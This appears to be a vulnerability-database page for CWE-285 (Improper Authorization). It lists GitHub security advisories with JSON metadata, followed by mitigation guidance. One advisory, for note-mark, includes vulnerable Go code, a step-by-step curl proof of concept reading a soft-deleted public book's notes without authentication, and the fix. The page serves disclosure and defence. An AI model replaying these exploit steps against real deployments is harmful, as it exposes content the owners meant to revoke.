CWE-285
DiscouragedImproper Authorization
Abstraction: Class · Status: Draft
The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.
2358 vulnerabilities reference this CWE, most recent first.
GHSA-3GJX-HG47-FQ76
Vulnerability from github – Published: 2025-05-09 00:30 – Updated: 2025-05-09 00:30Improper Authorization in Azure Automation allows an authorized attacker to elevate privileges over a network.
{
"affected": [],
"aliases": [
"CVE-2025-29827"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-08T23:15:52Z",
"severity": "CRITICAL"
},
"details": "Improper Authorization in Azure Automation allows an authorized attacker to elevate privileges over a network.",
"id": "GHSA-3gjx-hg47-fq76",
"modified": "2025-05-09T00:30:35Z",
"published": "2025-05-09T00:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29827"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-29827"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-3GR9-485J-V4XF
Vulnerability from github – Published: 2026-04-25 23:40 – Updated: 2026-05-07 20:20Summary
After a note-mark owner soft-deletes a public book, its notes and uploaded assets stay readable at /api/notes/{id}, /api/notes/{id}/content, the slug URL, and the asset endpoints. Unauthenticated callers who hold the note ID or the slug path retain access. GORM's soft-delete scope does not reach the raw JOIN books ... clauses used by the note and asset queries.
Details
DELETE /api/books/{bookID} sets books.deleted_at to the current time. The book-level endpoint starts returning 404, which matches the owner's expectation that the book is gone. The note service and asset service query notes with a raw join that does not filter books.deleted_at IS NULL:
// backend/services/notes.go:91-98 (GetNoteByID)
func (s NotesService) GetNoteByID(currentUserID *uuid.UUID, noteID uuid.UUID) (db.Note, error) {
var note db.Note
return note, dbErrorToServiceError(db.DB.
Preload("Book").
Joins("JOIN books ON books.id = notes.book_id").
Where("owner_id = ? OR is_public = ?", currentUserID, true).
First(¬e, "notes.id = ?", noteID).Error)
}
GORM applies its soft-delete scope to the primary model of a query (here, notes) and to implicit Joins("Book") association clauses. It does not rewrite raw SQL passed to Joins. The soft-deleted book row keeps is_public = true, so the WHERE owner_id = ? OR is_public = ? clause still evaluates true for any caller on a book that was public at deletion time. For an unauthenticated caller (currentUserID = nil), owner_id = NULL fails but is_public = true passes, so the note query returns the row.
note-mark has a restore flow at PUT /api/notes/{noteID}/restore (backend/services/notes.go:232-262) that un-deletes the note and the parent book in one transaction. Owner access to soft-deleted notes is deliberate for that path; the comment at line 253 spells out the intent. The bug is that is_public = true survives the deletion, so unauthenticated callers keep access the owner chose to revoke.
The same raw-join pattern repeats at 9 more call sites in backend/services/notes.go (lines 79, 95, 107, 129, 143, 174, 206, 237, 276) and 4 call sites in backend/services/assets.go (lines 29, 73, 106, 143). Every public endpoint that reads a note or an asset inherits the bug.
Proof of Concept
Tested against note-mark v0.19.2.
Step 1: Start note-mark.
docker run -d --name note-mark-poc -p 8088:8080 \
ghcr.io/enchant97/note-mark-backend:0.19.2
Step 2: Alice signs up and logs in.
curl -X POST http://localhost:8088/api/users \
-H 'Content-Type: application/json' \
-d '{"username":"alice","password":"Alicepass123!","name":"Alice"}'
curl -c alice.cookies -X POST http://localhost:8088/api/auth/token \
-H 'Content-Type: application/json' \
-d '{"grant_type":"password","username":"alice","password":"Alicepass123!"}'
Step 3: Alice creates a public book and adds a note with content. Save the IDs from each response.
curl -b alice.cookies -X POST http://localhost:8088/api/books \
-H 'Content-Type: application/json' \
-d '{"name":"Alice Public Book","slug":"public-book","isPublic":true}'
# {"id":"<BOOK_ID>", ...}
curl -b alice.cookies -X POST http://localhost:8088/api/books/<BOOK_ID>/notes \
-H 'Content-Type: application/json' \
-d '{"name":"Secret Note","slug":"secret-note"}'
# {"id":"<NOTE_ID>", ...}
curl -b alice.cookies -X PUT http://localhost:8088/api/notes/<NOTE_ID>/content \
-H 'Content-Type: text/plain' \
--data 'This is Alice secret note content.'
Step 4: Bob (no cookie) reads the note while the book is still live. This is expected for a public book.
curl http://localhost:8088/api/notes/<NOTE_ID>/content
# This is Alice secret note content.
Step 5: Alice soft-deletes the book.
curl -b alice.cookies -X DELETE http://localhost:8088/api/books/<BOOK_ID>
# HTTP/1.1 204 No Content
Step 6: The book endpoint 404s. The note endpoints still serve Alice's content to Bob.
curl -w "\n%{http_code}\n" http://localhost:8088/api/books/<BOOK_ID>
# 404
curl -w "\n%{http_code}\n" http://localhost:8088/api/notes/<NOTE_ID>
# {"id":"<NOTE_ID>","name":"Secret Note", ...}
# 200
curl http://localhost:8088/api/notes/<NOTE_ID>/content
# This is Alice secret note content.
curl http://localhost:8088/api/slug/alice/books/public-book/notes/secret-note
# {"id":"<NOTE_ID>","name":"Secret Note", ...}
A companion script that drives Steps 1-6 ships at pocs/poc_005_bac_soft_deleted_book.sh.
Impact
Any owner who soft-deletes a public book expecting the content to drop off the internet is wrong. Notes, markdown content, and uploaded assets stay readable for every unauthenticated caller who knows the note ID or the slug path. Slugs are human-readable and change hands in documentation, notes, and bug trackers. The leak covers every public note and asset endpoint, not a single handler. Private books are not affected because is_public = false and owner_id = NULL both fail the visibility check for non-owners.
Recommended Fix
Add a soft-delete filter to the visibility clause on every raw Joins("JOIN books ..."). Keep the owner's access intact so the restore flow at PUT /api/notes/{id}/restore continues to work:
// backend/services/notes.go:91-98 (GetNoteByID)
return note, dbErrorToServiceError(db.DB.
Preload("Book").
Joins("JOIN books ON books.id = notes.book_id").
Where("(books.deleted_at IS NULL OR books.owner_id = ?)", currentUserID).
Where("owner_id = ? OR is_public = ?", currentUserID, true).
First(¬e, "notes.id = ?", noteID).Error)
The same transform applies to each of the 13 call sites in backend/services/notes.go (lines 79, 95, 107, 129, 143, 174, 206, 237, 276) and backend/services/assets.go (lines 29, 73, 106, 143). backend/cli/clean.go:31 uses the same join pattern but is a maintenance CLI and does not need the fix.
Found by aisafe.io
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/enchant97/note-mark/backend"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260417132843-d1bf845a2a2d"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41572"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-25T23:40:37Z",
"nvd_published_at": "2026-05-04T18:16:29Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nAfter a note-mark owner soft-deletes a public book, its notes and uploaded assets stay readable at `/api/notes/{id}`, `/api/notes/{id}/content`, the slug URL, and the asset endpoints. Unauthenticated callers who hold the note ID or the slug path retain access. GORM\u0027s soft-delete scope does not reach the raw `JOIN books ...` clauses used by the note and asset queries.\n\n## Details\n\n`DELETE /api/books/{bookID}` sets `books.deleted_at` to the current time. The book-level endpoint starts returning 404, which matches the owner\u0027s expectation that the book is gone. The note service and asset service query notes with a raw join that does not filter `books.deleted_at IS NULL`:\n\n```go\n// backend/services/notes.go:91-98 (GetNoteByID)\nfunc (s NotesService) GetNoteByID(currentUserID *uuid.UUID, noteID uuid.UUID) (db.Note, error) {\n var note db.Note\n return note, dbErrorToServiceError(db.DB.\n Preload(\"Book\").\n Joins(\"JOIN books ON books.id = notes.book_id\").\n Where(\"owner_id = ? OR is_public = ?\", currentUserID, true).\n First(\u0026note, \"notes.id = ?\", noteID).Error)\n}\n```\n\nGORM applies its soft-delete scope to the primary model of a query (here, `notes`) and to implicit `Joins(\"Book\")` association clauses. It does not rewrite raw SQL passed to `Joins`. The soft-deleted book row keeps `is_public = true`, so the `WHERE owner_id = ? OR is_public = ?` clause still evaluates true for any caller on a book that was public at deletion time. For an unauthenticated caller (`currentUserID = nil`), `owner_id = NULL` fails but `is_public = true` passes, so the note query returns the row.\n\nnote-mark has a restore flow at `PUT /api/notes/{noteID}/restore` (`backend/services/notes.go:232-262`) that un-deletes the note and the parent book in one transaction. Owner access to soft-deleted notes is deliberate for that path; the comment at line 253 spells out the intent. The bug is that `is_public = true` survives the deletion, so unauthenticated callers keep access the owner chose to revoke.\n\nThe same raw-join pattern repeats at 9 more call sites in `backend/services/notes.go` (lines 79, 95, 107, 129, 143, 174, 206, 237, 276) and 4 call sites in `backend/services/assets.go` (lines 29, 73, 106, 143). Every public endpoint that reads a note or an asset inherits the bug.\n\n## Proof of Concept\n\nTested against `note-mark` v0.19.2.\n\nStep 1: Start note-mark.\n\n```bash\ndocker run -d --name note-mark-poc -p 8088:8080 \\\n ghcr.io/enchant97/note-mark-backend:0.19.2\n```\n\nStep 2: Alice signs up and logs in.\n\n```bash\ncurl -X POST http://localhost:8088/api/users \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"username\":\"alice\",\"password\":\"Alicepass123!\",\"name\":\"Alice\"}\u0027\n\ncurl -c alice.cookies -X POST http://localhost:8088/api/auth/token \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"grant_type\":\"password\",\"username\":\"alice\",\"password\":\"Alicepass123!\"}\u0027\n```\n\nStep 3: Alice creates a public book and adds a note with content. Save the IDs from each response.\n\n```bash\ncurl -b alice.cookies -X POST http://localhost:8088/api/books \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"name\":\"Alice Public Book\",\"slug\":\"public-book\",\"isPublic\":true}\u0027\n# {\"id\":\"\u003cBOOK_ID\u003e\", ...}\n\ncurl -b alice.cookies -X POST http://localhost:8088/api/books/\u003cBOOK_ID\u003e/notes \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"name\":\"Secret Note\",\"slug\":\"secret-note\"}\u0027\n# {\"id\":\"\u003cNOTE_ID\u003e\", ...}\n\ncurl -b alice.cookies -X PUT http://localhost:8088/api/notes/\u003cNOTE_ID\u003e/content \\\n -H \u0027Content-Type: text/plain\u0027 \\\n --data \u0027This is Alice secret note content.\u0027\n```\n\nStep 4: Bob (no cookie) reads the note while the book is still live. This is expected for a public book.\n\n```bash\ncurl http://localhost:8088/api/notes/\u003cNOTE_ID\u003e/content\n# This is Alice secret note content.\n```\n\nStep 5: Alice soft-deletes the book.\n\n```bash\ncurl -b alice.cookies -X DELETE http://localhost:8088/api/books/\u003cBOOK_ID\u003e\n# HTTP/1.1 204 No Content\n```\n\nStep 6: The book endpoint 404s. The note endpoints still serve Alice\u0027s content to Bob.\n\n```bash\ncurl -w \"\\n%{http_code}\\n\" http://localhost:8088/api/books/\u003cBOOK_ID\u003e\n# 404\n\ncurl -w \"\\n%{http_code}\\n\" http://localhost:8088/api/notes/\u003cNOTE_ID\u003e\n# {\"id\":\"\u003cNOTE_ID\u003e\",\"name\":\"Secret Note\", ...}\n# 200\n\ncurl http://localhost:8088/api/notes/\u003cNOTE_ID\u003e/content\n# This is Alice secret note content.\n\ncurl http://localhost:8088/api/slug/alice/books/public-book/notes/secret-note\n# {\"id\":\"\u003cNOTE_ID\u003e\",\"name\":\"Secret Note\", ...}\n```\n\nA companion script that drives Steps 1-6 ships at `pocs/poc_005_bac_soft_deleted_book.sh`.\n\n## Impact\n\nAny owner who soft-deletes a public book expecting the content to drop off the internet is wrong. Notes, markdown content, and uploaded assets stay readable for every unauthenticated caller who knows the note ID or the slug path. Slugs are human-readable and change hands in documentation, notes, and bug trackers. The leak covers every public note and asset endpoint, not a single handler. Private books are not affected because `is_public = false` and `owner_id = NULL` both fail the visibility check for non-owners.\n\n## Recommended Fix\n\nAdd a soft-delete filter to the visibility clause on every raw `Joins(\"JOIN books ...\")`. Keep the owner\u0027s access intact so the restore flow at `PUT /api/notes/{id}/restore` continues to work:\n\n```go\n// backend/services/notes.go:91-98 (GetNoteByID)\nreturn note, dbErrorToServiceError(db.DB.\n Preload(\"Book\").\n Joins(\"JOIN books ON books.id = notes.book_id\").\n Where(\"(books.deleted_at IS NULL OR books.owner_id = ?)\", currentUserID).\n Where(\"owner_id = ? OR is_public = ?\", currentUserID, true).\n First(\u0026note, \"notes.id = ?\", noteID).Error)\n```\n\nThe same transform applies to each of the 13 call sites in `backend/services/notes.go` (lines 79, 95, 107, 129, 143, 174, 206, 237, 276) and `backend/services/assets.go` (lines 29, 73, 106, 143). `backend/cli/clean.go:31` uses the same join pattern but is a maintenance CLI and does not need the fix.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-3gr9-485j-v4xf",
"modified": "2026-05-07T20:20:15Z",
"published": "2026-04-25T23:40:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/enchant97/note-mark/security/advisories/GHSA-3gr9-485j-v4xf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41572"
},
{
"type": "WEB",
"url": "https://github.com/enchant97/note-mark/commit/d1bf845a2a2df01e2eca6f556287db4ec6f773cf"
},
{
"type": "PACKAGE",
"url": "https://github.com/enchant97/note-mark"
},
{
"type": "WEB",
"url": "https://github.com/enchant97/note-mark/releases/tag/v0.19.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Note Mark: Unauthenticated read of notes and assets in soft-deleted public books"
}
GHSA-3GRP-7H7H-XCR6
Vulnerability from github – Published: 2025-09-19 15:31 – Updated: 2026-06-05 12:31Authorization Bypass Through User-Controlled Key, CWE - 862 - Missing Authorization, – Improper Authorization vulnerability in Bimser Solution Software Trade Inc. EBA Document and Workflow Management System allows – Exploitation of Trusted Identifiers, – Exploitation of Authorization, – Variable Manipulation.This issue affects eBA Document and Workflow Management System: from 6.7.164 before 6.7.166.
{
"affected": [],
"aliases": [
"CVE-2025-8532"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-19T15:15:49Z",
"severity": "MODERATE"
},
"details": "Authorization Bypass Through User-Controlled Key, CWE - 862 - Missing Authorization, \u2013 Improper Authorization vulnerability in Bimser Solution Software Trade Inc. EBA Document and Workflow Management System allows \u2013 Exploitation of Trusted Identifiers, \u2013 Exploitation of Authorization, \u2013 Variable Manipulation.This issue affects eBA Document and Workflow Management System: from 6.7.164 before 6.7.166.",
"id": "GHSA-3grp-7h7h-xcr6",
"modified": "2026-06-05T12:31:42Z",
"published": "2025-09-19T15:31:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8532"
},
{
"type": "WEB",
"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-25-0280"
},
{
"type": "WEB",
"url": "https://www.usom.gov.tr/bildirim/tr-25-0280"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:L/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3HW5-M8JJ-M9VV
Vulnerability from github – Published: 2022-07-13 00:01 – Updated: 2022-07-17 00:00Improper authorization in isemtelephony prior to SMR Jul-2022 Release 1 allows attacker to obtain CID without ACCESS_FINE_LOCATION permission.
{
"affected": [],
"aliases": [
"CVE-2022-30757"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-12T14:15:00Z",
"severity": "LOW"
},
"details": "Improper authorization in isemtelephony prior to SMR Jul-2022 Release 1 allows attacker to obtain CID without ACCESS_FINE_LOCATION permission.",
"id": "GHSA-3hw5-m8jj-m9vv",
"modified": "2022-07-17T00:00:45Z",
"published": "2022-07-13T00:01:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30757"
},
{
"type": "WEB",
"url": "https://security.samsungmobile.com/securityUpdate.smsb?year=2022\u0026month=7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3J7R-R9WV-QRJP
Vulnerability from github – Published: 2022-10-11 19:00 – Updated: 2022-10-14 12:00Cloud Mobility for Dell Storage versions 1.3.0 and earlier contains an Improper Access Control vulnerability within the Postgres database. A threat actor with root level access to either the vApp or containerized versions of Cloud Mobility may potentially exploit this vulnerability, leading to the modification or deletion of tables that are required for many of the core functionalities of Cloud Mobility. Exploitation may lead to the compromise of integrity and availability of the normal functionality of the Cloud Mobility application.
{
"affected": [],
"aliases": [
"CVE-2022-34434"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-11T17:15:00Z",
"severity": "MODERATE"
},
"details": "Cloud Mobility for Dell Storage versions 1.3.0 and earlier contains an Improper Access Control vulnerability within the Postgres database. A threat actor with root level access to either the vApp or containerized versions of Cloud Mobility may potentially exploit this vulnerability, leading to the modification or deletion of tables that are required for many of the core functionalities of Cloud Mobility. Exploitation may lead to the compromise of integrity and availability of the normal functionality of the Cloud Mobility application.",
"id": "GHSA-3j7r-r9wv-qrjp",
"modified": "2022-10-14T12:00:18Z",
"published": "2022-10-11T19:00:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34434"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-vc/000203434/dsa-2022-264-cloud-mobility-for-dell-storage-security-update-for-an-insecure-database-vulnerability"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3JX4-3GRJ-XM5W
Vulnerability from github – Published: 2024-02-07 03:30 – Updated: 2025-06-05 18:30Vulnerability CVE-2024-22021 allows a Veeam Recovery Orchestrator user with a low privileged role (Plan Author) to retrieve plans from a Scope other than the one they are assigned to.
{
"affected": [],
"aliases": [
"CVE-2024-22021"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-07T01:15:08Z",
"severity": "MODERATE"
},
"details": "Vulnerability\u202fCVE-2024-22021 allows\u202fa\u202fVeeam Recovery Orchestrator user with a low\u202fprivileged\u202frole (Plan\u202fAuthor)\u202fto retrieve\u202fplans\u202ffrom\u202fa\u202fScope other than the one they are assigned to.",
"id": "GHSA-3jx4-3grj-xm5w",
"modified": "2025-06-05T18:30:34Z",
"published": "2024-02-07T03:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22021"
},
{
"type": "WEB",
"url": "https://veeam.com/kb4541"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3M86-C9X3-VWM9
Vulnerability from github – Published: 2025-06-30 19:35 – Updated: 2025-07-02 18:55Impact
Graylog users can gain elevated privileges by creating and using API tokens for the local Administrator or any other user for whom the malicious user knows the ID.
For the attack to succeed, the attacker needs a user account in Graylog. They can then proceed to issue hand-crafted requests to the Graylog REST API and exploit a weak permission check for token creation.
Workarounds
In Graylog version 6.2.0 and above, regular users can be restricted from creating API tokens. The respective configuration can be found in System > Configuration > Users > "Allow users to create personal access tokens". This option should be Disabled, so that only administrators are allowed to create tokens.
Recommended Actions
After upgrading Graylog from a vulnerable version to a patched version, administrators are advised to perform the following steps to ensure the integrity of their system:
Review API tokens
An overview of all existing API tokens is available at System > Users and Teams > Token Management. Please review this list carefully and ensure each token is there for a reason.
Check Audit Log (Graylog Enterprise only)
Graylog Enterprise provides an audit log that can be used to review which API tokens were created when the system was vulnerable. Please search the Audit Log for action:create token and match the Actor with the user for whom the token was created. In most cases this should be the same user, but there might be legitimate reasons for users to be allowed to create tokens for other users. If in doubt, please review the user's actual permissions.
Review API token creation requests
Graylog Open does not provide audit logging, but many setups contain infrastructure components, like reverse proxies, in front of the Graylog REST API. These components often provide HTTP access logs. Please check the access logs to detect malicious token creations by reviewing all API token requests to the /api/users/{user_id}/tokens/{token_name} endpoint ({user_id} and {token_name} may be arbitrary strings).
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.graylog2:graylog2-server"
},
"ranges": [
{
"events": [
{
"introduced": "6.2.0"
},
{
"fixed": "6.2.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.graylog2:graylog2-server"
},
"ranges": [
{
"events": [
{
"introduced": "6.3.0-alpha.1"
},
{
"fixed": "6.3.0-rc.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-53106"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-30T19:35:38Z",
"nvd_published_at": "2025-07-02T14:15:26Z",
"severity": "HIGH"
},
"details": "### Impact\n\nGraylog users can gain elevated privileges by creating and using API tokens for the local Administrator or any other user for whom the malicious user knows the ID.\n\nFor the attack to succeed, the attacker needs a user account in Graylog. They can then proceed to issue hand-crafted requests to the Graylog REST API and exploit a weak permission check for token creation.\n\n### Workarounds\n\nIn Graylog version `6.2.0` and above, regular users can be restricted from creating API tokens. The respective configuration can be found in `System \u003e Configuration \u003e Users \u003e \"Allow users to create personal access tokens\"`. This option should be *Disabled*, so that only administrators are allowed to create tokens.\n\n### Recommended Actions\n\nAfter upgrading Graylog from a vulnerable version to a patched version, administrators are advised to perform the following steps to ensure the integrity of their system:\n\n#### Review API tokens \nAn overview of all existing API tokens is available at `System \u003e Users and Teams \u003e Token Management`. Please review this list carefully and ensure each token is there for a reason. \n\n#### Check Audit Log (Graylog Enterprise only)\nGraylog Enterprise provides an audit log that can be used to review which API tokens were created when the system was vulnerable. Please search the Audit Log for `action:create token` and match the *Actor* with the user for whom the token was created. In most cases this should be the same user, but there might be legitimate reasons for users to be allowed to create tokens for other users. If in doubt, please review the user\u0027s actual permissions.\n\n#### Review API token creation requests\nGraylog Open does not provide audit logging, but many setups contain infrastructure components, like reverse proxies, in front of the Graylog REST API. These components often provide HTTP access logs. Please check the access logs to detect malicious token creations by reviewing all API token requests to the `/api/users/{user_id}/tokens/{token_name}` endpoint (`{user_id}` and `{token_name}` may be arbitrary strings).",
"id": "GHSA-3m86-c9x3-vwm9",
"modified": "2025-07-02T18:55:45Z",
"published": "2025-06-30T19:35:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Graylog2/graylog2-server/security/advisories/GHSA-3m86-c9x3-vwm9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53106"
},
{
"type": "WEB",
"url": "https://github.com/Graylog2/graylog2-server/commit/6936bd16a783c2944a3d2f1e83902062520f90e3"
},
{
"type": "WEB",
"url": "https://github.com/Graylog2/graylog2-server/commit/9215b8f1fd32566c31e6f7447ed864df3590c157"
},
{
"type": "PACKAGE",
"url": "https://github.com/Graylog2/graylog2-server"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Graylog vulnerable to privilege escalation through API tokens"
}
GHSA-3M8X-7QXF-C378
Vulnerability from github – Published: 2022-05-17 01:16 – Updated: 2022-05-17 01:16Aruba Networks ClearPass Policy Manager before 6.4.7 and 6.5.x before 6.5.2 allows remote authenticated lower-level administrators to gain privileges by leveraging failure to properly enforce authorization checks.
{
"affected": [],
"aliases": [
"CVE-2015-3656"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-08-29T15:29:00Z",
"severity": "HIGH"
},
"details": "Aruba Networks ClearPass Policy Manager before 6.4.7 and 6.5.x before 6.5.2 allows remote authenticated lower-level administrators to gain privileges by leveraging failure to properly enforce authorization checks.",
"id": "GHSA-3m8x-7qxf-c378",
"modified": "2022-05-17T01:16:52Z",
"published": "2022-05-17T01:16:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-3656"
},
{
"type": "WEB",
"url": "http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2015-009.txt"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/100597"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3MFV-W34C-W847
Vulnerability from github – Published: 2025-05-31 09:30 – Updated: 2025-05-31 09:30The WP-GeoMeta plugin for WordPress is vulnerable to Privilege Escalation due to a missing capability check on the wp_ajax_wpgm_start_geojson_import() function in versions 0.3.4 to 0.3.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to elevate their privileges to that of an administrator.
{
"affected": [],
"aliases": [
"CVE-2025-4103"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-31T07:15:20Z",
"severity": "HIGH"
},
"details": "The WP-GeoMeta plugin for WordPress is vulnerable to Privilege Escalation due to a missing capability check on the wp_ajax_wpgm_start_geojson_import() function in versions 0.3.4 to 0.3.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to elevate their privileges to that of an administrator.",
"id": "GHSA-3mfv-w34c-w847",
"modified": "2025-05-31T09:30:29Z",
"published": "2025-05-31T09:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4103"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wp-geometa/tags/0.3.4/lib/wp-geometa-dash.php#L896"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/wp-geometa/#developers"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/43039f2a-b3f9-4836-8b55-e8a091b1a102?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3P4P-GQG7-VXQ8
Vulnerability from github – Published: 2023-07-21 03:30 – Updated: 2023-07-21 03:30A vulnerability, which was classified as critical, has been found in Xiamen Four Letter Video Surveillance Management System up to 20230712. This issue affects some unknown processing in the library UserInfoAction.class of the component Login. The manipulation leads to improper authorization. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-235073 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2023-3805"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-21T02:15:09Z",
"severity": "HIGH"
},
"details": "A vulnerability, which was classified as critical, has been found in Xiamen Four Letter Video Surveillance Management System up to 20230712. This issue affects some unknown processing in the library UserInfoAction.class of the component Login. The manipulation leads to improper authorization. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-235073 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-3p4p-gqg7-vxq8",
"modified": "2023-07-21T03:30:26Z",
"published": "2023-07-21T03:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3805"
},
{
"type": "WEB",
"url": "https://github.com/GUIqizsq/cve/blob/main/login.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.235073"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.235073"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
